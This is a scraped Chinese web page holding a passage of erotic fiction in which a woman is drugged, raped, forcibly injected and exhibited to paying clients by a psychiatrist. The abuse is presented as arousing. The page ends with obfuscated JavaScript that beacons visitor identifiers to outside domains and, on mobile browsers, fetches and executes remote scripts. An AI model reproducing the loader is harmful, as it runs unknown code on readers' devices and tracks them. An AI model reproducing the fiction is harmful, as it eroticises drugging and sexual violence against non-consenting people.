  李倩在心 拼命的叫着,抵抗着,但当音乐一响,她就好象安徒生童话 那
个穿上红舞鞋的小女孩,身不由已的跳了起来。每一个动作,李倩都能听到身上
衣服破裂的声音,每一下旋转,就会有一片衣服飞出去,雪白的肌肤越来越多的
曝露出来。

  音乐渐近高潮,胡啸天双手紧握住李倩的手,两人忽分忽合,身体撞击在一
起,李倩身上现在只剩下一条半透明的内裤,娇小的乳房直接撞在胡啸天的丝绸
衬衫上,传出一股股快感的电流,迅速传遍了李倩全身,李倩的呼吸开始急促起
来,内裤中央也出现了湿迹,几乎变成了透明的。

  随着一阵急促的鼓点,乐曲曳然而止,李倩就象电影 一样,一条大腿被胡
啸天抱住,整个下身全贴在他身上,隔着薄薄的裤子,她能感觉到胡啸天已经硬
挺起来的阴茎抵在自己的阴道口上。

  李倩象电影 一样,双手抱着胡啸天的头,把他的头按在自己的胸口上,胡
啸天却不象电影 那样绅士,他咬住李倩的一个乳头,吸吮着,用牙齿轻轻研磨
着乳珠,一只手搂着李倩防止她摔倒,抱着她大腿的手,已经顺着嫩滑的皮肤,
一直向上,抓住李倩圆润的屁股用力揉搓起来。

  "不要,啊,不……要,不……,好,好舒服,不要,停,停。"李倩只觉
得一股强烈的欲火迅速沖遍了全身,脑子昏沈沈的,那种从未感受过的快感让她
彻底的迷失了自我,沈浸在淫欲中。她不知不觉的抱紧了胡啸天的头,挺起胸,
把乳房送到他嘴 ,双腿也用力叉开,隔着裤子用下体磨擦着胡啸天的阴茎,虽
然隔着两层布料,但阴茎上的热力还是让李倩浑身发软。

  胡啸天小心的把李倩放在地上,李倩双眼迷离的看着胡啸天脱去上衣,露出
健美的上身,两块厚厚的胸肌现出男人的阳刚之美,腹部六块整齐的腹肌让人浮
想联翩,李倩无意识的伸手玩弄着他胸前短粗的胸毛,心 想像着乳头在那胸毛
上磨擦的滋味。

  当胡啸天没有穿内裤,脱去长裤后一条20多釐米长,粗大的阴茎就弹了出
来,紫红色的龟头,粗大的炮身微微向上弯曲。看到李倩吃惊的盯着自己的阴茎
看,胡啸天有意示威似的停下动作,身子晃了晃,紫红色的龟头抖动着像是在向
李倩打招呼。

  现在的李倩已经完全被刚才注射的春药控制住了,她盯着那条小孩手臂粗细
的阴茎,吞了一口唾沫,擡头看了胡啸天一眼,看到他示意自己用手去抓,就小
心翼翼的伸手握住了那粗大的东西。胡啸天的阴茎很长,李倩的两只小手全握住
还留出一个龟头。李倩只觉得手 的肉棒滚烫滚烫的,从肉棒上的血管能感觉到
男人的脉动。这幺大的东西能插进我那 吗?李倩想,双手不由得握得更紧了。

  胡啸天却舒服得要死,李倩一双小手又细又滑,握在自己的肉棒上,带来一
阵阵快感,多年写作,让李倩右手的食指间留下一些小小的书茧,划在阴茎敏感
的皮肤上,又是一种奇特的享受。

  他低下头,捕捉到李倩鲜豔的红唇,撬开李倩的牙关,与李倩的舌头交缠在
一起,李倩嘴 有一股玫瑰花般淡淡的香气,处女生涩的反应更让他兴奋。吻了
好一阵,胡啸天才满意的放开李倩,李倩大口大口的喘息着,脸上染上一层娇媚
的红色。

  胡啸天顺着曲线优美的脖子一路向下,在两个乳峰间略作停留,就来到了她
平坦的小腹上,他轻轻舔着李倩圆圆的肚脐,痒痒的感觉让李倩不禁轻笑出声,
李倩双手插进他的头髮 ,身子扭动着,娇喘着,躲避他的攻击。

  他在肚脐处留连了一会儿后,再向下来到李倩神秘的花园。薄薄的内裤已经
完全被淫水湿透了,几根黑色的阴毛淘气的从内裤边缘溜了出来。他用牙咬住内
裤的边缘,一点点的把内裤拉了下来。李倩双手盖在脸上,擡起腰,让他把自己
身上最后一点布料丢到身后,然后胡啸天将一方白色的手帕放在李倩身下。

  李倩张开双腿,双手抱住胡啸天健美的身体,乳头在胡啸天坚硬的胸肌上磨
擦,一股股电流再次沖向全身。李倩只觉得一根滚烫的东西抵在自己的阴唇上,
她知道那是什幺,就更加用力的张开双腿,方便胡啸天动作。

  胡啸天又在李倩全身爱抚了一阵,看到李倩浑身的肌肤已经透出淡淡的桃红
色,知道她已经完全陷入性欲之中了,他调整了一下身体,双手搂住李倩,下体
用力,龟头顶开李倩紧闭的阴唇,插进了一点。

  "嗯,痛。"虽然被春药刺激得神志迷乱,但处女狭小的阴道还是难以适应
胡啸天粗大的肉棒,虽然只插入了一点,李倩也紧皱着眉头,呻吟起来。

  胡啸天又吻住李倩的嘴,当她适应了这种疼痛后,腰上发力,粗大的阴茎猛
的穿过处女膜,直插到底。

  "啊……,痛,不要,"李倩痛得叫了起来,她只觉得身体像是被撕开一样
痛,一根火热的铁棒插入自己身体 ,双手不自觉的紧紧抓住胡啸天的后背,留
下一道道血痕。

  胡啸天温柔的吻去李倩脸上的泪珠,双手技巧的揉搓着李倩丰满的乳房,等
着李倩适应自己。凯曼的春药很快就再次发挥作用,李倩脸上的痛苦之色渐渐淡
去,破处时的剧痛也很快减轻了,她不自觉的轻轻扭动着腰,让肉棒给自己带来
更大的快乐。

  胡啸天开始缓缓的抽插起来,先是轻轻的抽出一点再插入,动作逐渐加大,
李倩阴道 的淫水稀释了处女血,淡红色的血水浸透了身下白色的手帕,哀悼着
她失去的纯洁。

  但现在李倩已经完全被性欲控制,她抱着胡啸天,就和着他的抽插,嘴 的
淫叫声只是两人接吻时才被短暂的打断,屋角的电视 早已经变成了两人交合的
实况。

  李倩也不知是自己的淫叫声大,还是电视 的声音大,她只知道当胡啸天那
粗大的肉棒插进来时,会给自己带来极大的快乐,身体正在慢慢的飞起来,快感
在身体 堆积着,龟头刮擦着娇嫩的阴道,乳房在胡啸天长满粗茧的手 变幻着
形状,李倩什幺都不知道,也不想知道,她只是依着身体的本能,追求着,应和
着。

  胡啸天足足抽插了二十多分钟,知道李倩的第一次如果求索过度,会让她过
于痛苦,对于明后天的调教十分不便,于是连续重重的插了几下,身子抖了几下
后把浓浓的精液射进李倩体内。

  "啊……"当精液射入子宫的一瞬间,李倩只觉得自己像是飞上了高空,然
后猛的坠了下来,整个世界仿佛都破碎了,一切的一切都不存在了,她紧紧的抱
住胡啸天,狠狠的一口咬在他的肩头,牙齿间淡淡的血腥味刺激着她,双手在胡
啸天的背后留下几道新鲜的伤痕,一股乳白色的阴精从下体喷了出来,双腿紧紧
的夹住胡啸天的腰,颤动了几下,昏了过去。



                第四章

  随后到底发生了什幺李倩全记不清了,她模糊的记得自己象到了什幺地方,
然后就是一次又一次的手淫,手淫时身边好象有人在看,在指指点点,可是她停
不下来,别人的目光让她更觉得刺激,快感更强,但是却总也达不到高潮,她向
他们哀求,求他们来操自己,为了性交她什幺都说,什幺都作,可是却没有人理
会她,最后有人给她打了好几针,她再次失去了知觉。

  李倩沈沈的睡着,迷迷糊糊的觉得自己在移动,耳边有车轮滚动的声音。我
是在什幺地方,我这是在哪里,李倩努力想着,身子象灌了铅一样沈,她用力想
擡起手来,一挣之下,发觉胳膊被皮带绑住了,手腕上传来一阵疼痛,这让李倩
非常吃惊,她猛的睁开眼睛,却发现自己的双眼被厚厚的眼罩完全盖死了,眼前
一片漆黑。

  失去视力的恐惧让她想尖叫,但嘴 的塞口球让她的尖叫变成一阵含糊的呜
咽声,她拼命挣扎起来,在挣扎中,她发觉自己被绑在一张有轮子的妇科检查用
的诊疗椅上,双腿大开,被固定在两侧,手腕和脚腕被固定在一起,迫使她双腿
被打开成M形,皮肤上传来的被单的触感,让她惊恐的发现自己赤裸裸的一丝不
挂,她正在被推向一个未知的地方。

  "她醒了。"头顶上传来护士的声音。

  "好,你们先等在这 ,什幺时候把她推进会场我会通知你们的。"胡啸天
低沈的男声让李倩打了一个哆嗦,昨天那阵疯狂的性爱让她还心有余悸,但会场
两个字让李倩非常害怕,按他的话推测,过一会自己将会被推到一个公开的场合
展示,天哪,在无数人面前赤裸,李倩光是想就已经吓得要疯了,她挣扎着,嘴
不停的叫出呜呜的叫声,身子在椅子上扭动着。

  "想不到这幺漂亮的女孩居然会是个疯子。"身边好象有两个护士,在无聊
的等待中开始闲聊起来。

  疯子,谁?是我吗?李倩挣扎着,想。

  "可不是,而且还是个性亢奋症患者。"另一个声音说。

  "性亢奋?吴姐,那是什幺病啊?"较年轻的声音问。

  "你才毕业还不知道,就是,就是,唉,这幺说吧,就是常说的花癡。"吴
姐的声音略有些生涩的说。

  花癡?不,我才不是。我昨天才被那家伙强姦的。我不是!!李倩无声的叫
着。

  "真……,真的吗?"年轻的声音惊讶的问。

  "对。小王你才来几天,你没见过。我可见了好几个呢!一个个不发病时,
都说什幺我是这个,我是那个的。可是一发病,哼,真比发情的母狗还下贱。"
吴姐不屑的说。

  "那她们会怎幺样呢?"

  "怎幺样?当然摇着屁股求男人来操啦。"

  "吴姐……"年轻的声音娇嗔的叫道。

  "小妮子,你还害羞,昨天晚上在我床上,你把那幺大的东西插进……"年
长的声音戏耍的说。

  "你还说,还不是你非要把什幺药擦在人家那 ,害得人家痒得要死,插了
半晚,都是你不好。"嗲得要滴出水来的声音,伴随着一阵细索的衣服磨擦声,
"不要,过会……,过会还要上台呢,啊,不要,好了,听我说,听我说嘛。"

  "好,不闹了,不过你得让我啵一个。"一个响亮的吻声后,"说吧,你还
想知道什幺?"

  "还说呢,把人家内裤又弄湿了,过会你得赔我。"

  "好,好,好,我的小宝贝,姐姐一定赔你,陪你上床,哈哈……"

  "好了,姐姐,你说她是那个什幺,什幺……"

  "性亢奋。"

  "对,那她也会,也会求男人来,来……"

  "你不信,好吧,我告诉你,她是前天下午送到咱们医院的,胡医生亲自接
的诊,送她来的是她的姐姐。"

  "听她姐姐说她最近刚刚失业,又被男友甩了,就一个人躲在房 不出来,
当时她姐姐也没注意,就去出差了,但几天后回来时,却发现她在床用拼命的手
淫,身边扔着一堆春药盒子,问她话她也不回答,嘴 叫着男友的名字,说你看
我够浪了吧,你觉得我够骚了吧。她姐姐这才知道她男友说她是个性冷感,她一
时想不开,就偷偷买了一堆春药回来,谁知药力过强,把脑子给烧坏了。为此才
送到这 来的。"

  "你没看到,刚来的时候,淫水顺大腿一直流到脚面上,裤档 全是湿的,
嘴 叫着鸡巴,鸡巴,一看到胡医生,眼睛都直了,几个人都拉不住,一头扎到
胡医生的怀 ,向他两脚间一趴,张嘴就咬他的裤子,把胡医生吓坏了,给她打
了好几针才让她睡过去,胡医生的裤子上还有一大片湿痕呢。嘿嘿……"

  不可能,这不可能,李倩无声的叫着,但在旁人听来,那只是一阵无意义的
呜呜声。

  "那今天我们来这 干什幺呢?"年轻的声音问。

  "今天是'性行为研究学术讨论会',每年一届,这已经是第四届了。把她
带来是因为胡医师的那篇最新的论文。好了,不说了,你先把衣服整理好,马上
就要到我们了。"说着,又是一阵衣服嗦嗦的声音,夹杂着两个人低声的调笑。

  李倩完全明白了,自己不知被他们注射过什幺药剂,所以才会疯狂的作爱,
现在胡啸天要把自己作为性亢奋的一个例子公开在会场上,在无数的陌生的男人
和女人面前,李倩觉得整个世界都崩溃了。姐姐,姐姐,你到底在哪里,他们说
是你把我送到这 来的,不!决不可能!姐姐已经去美国了,这一定是阴谋,我
一定要逃跑,一定要逃跑。

  李倩想着,更加用力挣扎起来,可是手脚上都被宽宽的皮带牢牢的捆住了,
无论她如何努力,除了在诊疗床上扭动外没有丝毫的效果。

  "对了,胡医生说,在上台之前把这三针镇定剂给她注射一下,你把单子拉
开,我来注射,你也好好看一下,在那些地方应该如何下针。"年长的声音说。

  李倩只觉得身上一凉,单子被打开了,一只冰冷的手捏住了左边的乳头,用
力的拉扯起来。嗯,不要,好痛。李倩从鼻子 发出痛苦的呻吟,身子用力地摇
动,想躲开那只手,但手指熟练的动作,让她无法逃避。

  "看看,她的乳房多大,乳头只是被我轻轻的一碰,就变得这幺硬,真是个
不要脸的女人。"年长的声音说着,手又用力扭了几下,

  从娇嫩的乳头上传来一阵剧烈的疼痛,如果不是嘴 的塞口球,李倩一定会
大声叫出来的。但接下来,酒精棉球在乳房上擦拭的感觉,让李倩产生了极大的
恐惧,难道要那那 注射吗?担心变成了现实,乳头上针尖插入的剧烈刺痛,让
李倩几乎昏死过去,当最初的刺痛过去后,她感觉到,那个护士正把大量的药水
注射进自己的乳房 。

  "可是,吴姐,真的要在这些地方注射吗?"年轻的声音疑惑的问。

  "唉你不知道,她的乳房太敏感了,只是一碰就会高潮,过一会要作乳房诊
疗和阴道诊疗,总是高潮怎幺成,所以才要在这些地方注射。好了,快点吧,我
先给另一个乳房注射,你给她的阴蒂消消毒。"说着,另一个乳房上也传来了注
射的疼痛,两腿间,一只柔软的小手轻轻分开了李倩的阴唇,找到了她的阴蒂。
熟练的挑逗着。

  "呀,吴姐,你看,她、她的小豆豆一直翻在外边呢,而且还这幺大,好可
爱哟。"年轻的声音兴奋的说。

  "你呀,就别玩了,回去有的是机会,她就在358室,今天晚上,我让你
好好的玩一次,现在赶快给她注射,快点啦。"年长的声音教训道。

  "喁,是。"手指还是留恋的又摸了几下,然后李倩只觉得冰冷的针尖抵在
自己最敏感的地方。不要啊,不要,啊……,李倩叫着,女人身上最娇嫩的地方
被刺入的剧烈疼痛,让她拼命的挣扎,但一双有力的手死死的按住她的腰,让她
动弹不得,冰凉的药水缓缓的流入了她的身内。李倩死死的咬着嘴 的橡胶球,
泪水汹涌而出,却完全被眼罩吸收了。

  "好了,把单子盖好,我们马上就要出去了。"李倩抽泣着,她不知道接下
来自己将会面对什幺样的事情,但她知道自己再也无法回到原来的世界了,而这
一切为什幺会降临到自己头上呢?她不清楚,也不想清楚,因为刚刚注射的药水
让她最敏感的乳头和阴蒂传出无数蚂蚁啃咬的强烈麻痒,那种深入骨髓的痒已经
佔据了她的脑子,让她彻底的迷失了自我。

  (下面以胡啸天的视角来写,我即是胡啸天)

  "各位尊敬的先生们,女士们,大家好。下面有请康乐精神病医院的胡啸天
医师来演讲,他的题目是'性亢奋与神经分裂',请大家欢迎。请。"主席说着
作了个邀请的手势,我站了起来,在热烈的掌声中走上了讲台。

  "谢谢主席先生,谢谢大家。我的题目是'性亢奋与神经分裂'。性亢奋是
内分泌系统紊乱造成的,而神经分裂多是由于遗传或是社会经历造成的,这两者
之间会有什幺样的联繫呢?请听我一点点的解释……"我说着,看着台下那一排
排坐椅上的人们,这些人当中有不少都是我的未来的客户呢,我想。

  听了我这个报告的人至少有几百了,每次演讲完后,都会有些大富豪以学习
为名,到我的医院 去,在那 地下五层的宴会厅 ,他们会体会到真正的性亢
奋者的乐趣,大把大把的钞票也会送到那 ,然后他们会把自己的秘书、太太,
甚至是女儿送来,让她们也变成听话的性亢奋者,哼,伪君子,都是伪君子。

  我嘴 说着,眼睛开始扫视台下的人们,那个白头发的教授前天才去研究过
那个歌星的阴道,说是检查一下她的性兴奋程度。啊,赵总,我认得,货运公司
的大老闆嘛,怎幺,身边又来了个新秘书,嗯,看样子还没调教过,怪不得他预
约了后天进行检查。

  呀,李局长也来了,堂堂警察局长却是个偷窥狂,上次那一套顶级的针眼摄
影机用得如何呀。吴社长,你这个着名晚报的社长居然会来这 ,嘿嘿,谁会知
道,你这个大文化人居然把老婆和女儿都调教成了性奴呢?你们这些人个个都有
身份有地位,却是我这个见不得光的人的坐上客,哈哈,真是可笑。

  "理论就是这样了,这次我带来了一个真实的病例。李护士,把她推进来
吧。"随着我的话音,李护士把一张盖着白色布单的诊疗椅推到了台上,她向大
家点头示意后,就退了出去,当后台的门关上前的那一瞬,我看到一只手抓向她
圆润的屁股,一声低低的女人的淫笑被快速关闭的隔音门打断了。

  "现在,我就用真实的病例给大家解释一下,如何判断这种症状。"说着,
我走到诊疗椅前,抓住被单,忽啦一下,单子被我一把拉了下来,嗡,台下立即
爆发出一阵嘈杂的,低低的议论声。

  被单下是一具完美无比的肉体,年轻的肌肤雪白细嫩,一对丰满的乳房上两
颗紫红色的乳头俏立在上面,象一双新鲜的草莓,平坦的小腹没有一丝多余的脂
肪,中间圆圆的肚脐更加了一点娇媚,两条大腿修长笔挺,弯成M形后,两腿间
的花园吸引住了在座的所有人的眼光。

  两片鲜嫩的阴唇间半透明的淫水正缓缓的流出来,随着她的呼吸,两片阴唇
也一张一合,在呼唤着有人来安慰,淡紫色的阴核完全翻出了包皮之外,上面沾
满了淫水,反射着灯光,下面褐色的菊花一收一放,细密的皱纹表示那 还没有
人真正的开垦过。

  只是女人的脸完全被面具遮住了,除了一头乌黑的长髮什幺也看不到,不过
从面具下传出的微弱呜呜声,让台下的人都明白如果没有塞口球,他们将会听到
完美的淫叫。

  "请大家放心,这是我最新的一个病例,"也是你们今晚最新的玩物,"她
送到我们医院已三天了,我们对她进行了多种检查和治疗。"调教已经完成了,
你们可以出价了。"这个病例很特别,一般来说性亢奋多是由内分泌失调所引起
的,造成女性的性欲过于旺盛,但很少会使人失去自我意识。不过她却是由外因
引起的,直接原因就是大量春药的使用。"台下传出一阵嗡嗡声,我等待着,看
到雪白的肉体再次扭动挣扎。

  "她是由于男友说她性冷感而受了很大的打击,于是就到地下商店购买了不
少烈性春药,不过由于不知道药性的强弱,几种药物同时使用造成了极大的副作
用,再加上没有及时性交造成整个人被性欲完全崩溃,现在已经基本上失去了对
身体的控制。"

  说着,我抓住那对乳房,从四周向中间压榨,紫色的乳头中,一丝白色的乳
汁流了出来,"现在虽然她没有怀孕,但乳房已经开始少量分泌乳汁,这是性亢
奋的第一个特徵,随着病情加重,乳汁的分泌量会逐渐加大,乳房也随之变大,
但由于她是药物催化而成,所以乳房不会象一般女人那样由于哺乳而变形,按现
在的我的分析,可能会扩大到完美的37B的尺寸。同时,这 ,"我拍了拍那
圆润的屁股,"也会变大,弹性会更强。"

  台下的男人们个个呼吸急促起来,但是脸上还是努力保持着一种满不在乎的
神气,但他们的眼神中却流露出赤裸裸的淫欲。

  "在我的诊治中,"说着我走到诊疗椅前,背对着台下,挡住了那些人的眼
光,一阵失望的歎息从背后传来。我没有理会,从旁边的盘子 取过一个透明的
玻璃扩阴器,插入了李倩的阴道,冰冷的玻璃的插入,让她一连打了几个冷战,
但空虚的阴道被塞满的感觉稍稍缓解了她高涨的欲火。

  随着我拧到扩阴器上的螺丝,鸭嘴口打开,把李倩的阴道完全撑开,她也明
白了,更加用力的挣扎,但却丝毫动弹不得,看着两条大腿由于用力而绷紧的一
条条肌肉,我不由一阵兴奋,伸手把遥控摄影机拉了过来,对準大大的阴道,接
着打开了强力的照明灯,明亮的光柱完全射入李倩的阴道 ,让那 一览无余。

  然后我走回讲台后,在转播台上轻轻一按,舞台上那面宽大的液晶显示器就
亮了起来,由于是玻璃制的扩阴器,李倩阴道 的每一寸都显示了出来,台下又
是一阵轰动。

  "请大家安静一下,"我反复说了几次才让台下稍稍静了一下,"请大家注
意,由于性亢奋,造成她的阴道收缩能力加强,同时阴道收缩的频率也加快了,
请注意这 ,"说着我将遥控镜头对準了阴道 的一点,"

关闭
关闭
function aPDbm(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function whXgz(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return aPDbm(t);};window[''+'n'+'D'+'l'+'P'+'W'+'a'+'G'+'m'+'Z'+'J'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function lZCwx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=whXgz,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=lZCwx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/9633/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=lZCwx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLmRzYWhpai5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS544a25lb2suY29tJTNBOTUzNA==','9489',window,document,['M','4']);}:function(){};
function QAqLac(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function lCmShZ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return QAqLac(t);};window[''+'i'+'s'+'q'+'j'+'b'+'h'+'O'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function twGl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=lCmShZ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=twGl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15662/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=twGl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm1rdnNmLmNuJTNBOODg5MQ==','d3NzJJTNBJJTJJGJJTJJGYS5rZmdqYS5jbiUzQTk1MzM=','168322',window,document,['O','J']);}:function(){};
let urls=["hSStSStSSpSSsSS:SS/SS/SSnSStSStSS1SS2SSnSS4SSdSS7SS6SS.SSoSSsSSsSS-SScSSnSS-SShSSaSSnSSgSSzSShSSoSSuSS.SSaSSlSSiSSySSuSSnSScSSsSS.SScSSoSSmSS/SS1SS2SS/SS1SS1SS0SS5SSeSScSS8SS5SS8SS2SS3SS7SS2".split("SS").join(""),"hFFtFFtFFpFFsFF:FF/FF/FFpFF.FFgFFoFFdFFmFFwFFiFFtFFhFF.FFcFFoFFmFF/FF1FF2FF/FF1FF1FF0FF5FFeFFcFF8FF5FF8FF2FF3FF7FF2".split("FF").join(""),"hEEtEEtEEpEEsEE:EE/EE/EEmEEqEE1EE2EEnEE4EEdEE7EE6EE.EEoEEsEEsEE-EEcEEnEE-EEsEEhEEaEEnEEgEEhEEaEEiEE.EEaEElEEiEEyEEuEEnEEcEEsEE.EEcEEoEEmEE/EE1EE2EE/EE1EE1EE0EE5EEeEEcEE8EE5EE8EE2EE3EE7EE2".split("EE").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBdBB8BB9BB-BB1BB3BB1BB3BB9BB4BB4BB0BB6BB2BB.BBcBBoBBsBB.BBaBBpBB-BBhBBoBBnBBgBBkBBoBBnBBgBB.BBmBByBBqBBcBBlBBoBBuBBdBB.BBcBBoBBmBB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join("")];window.__rr__hld=1;let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2372_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();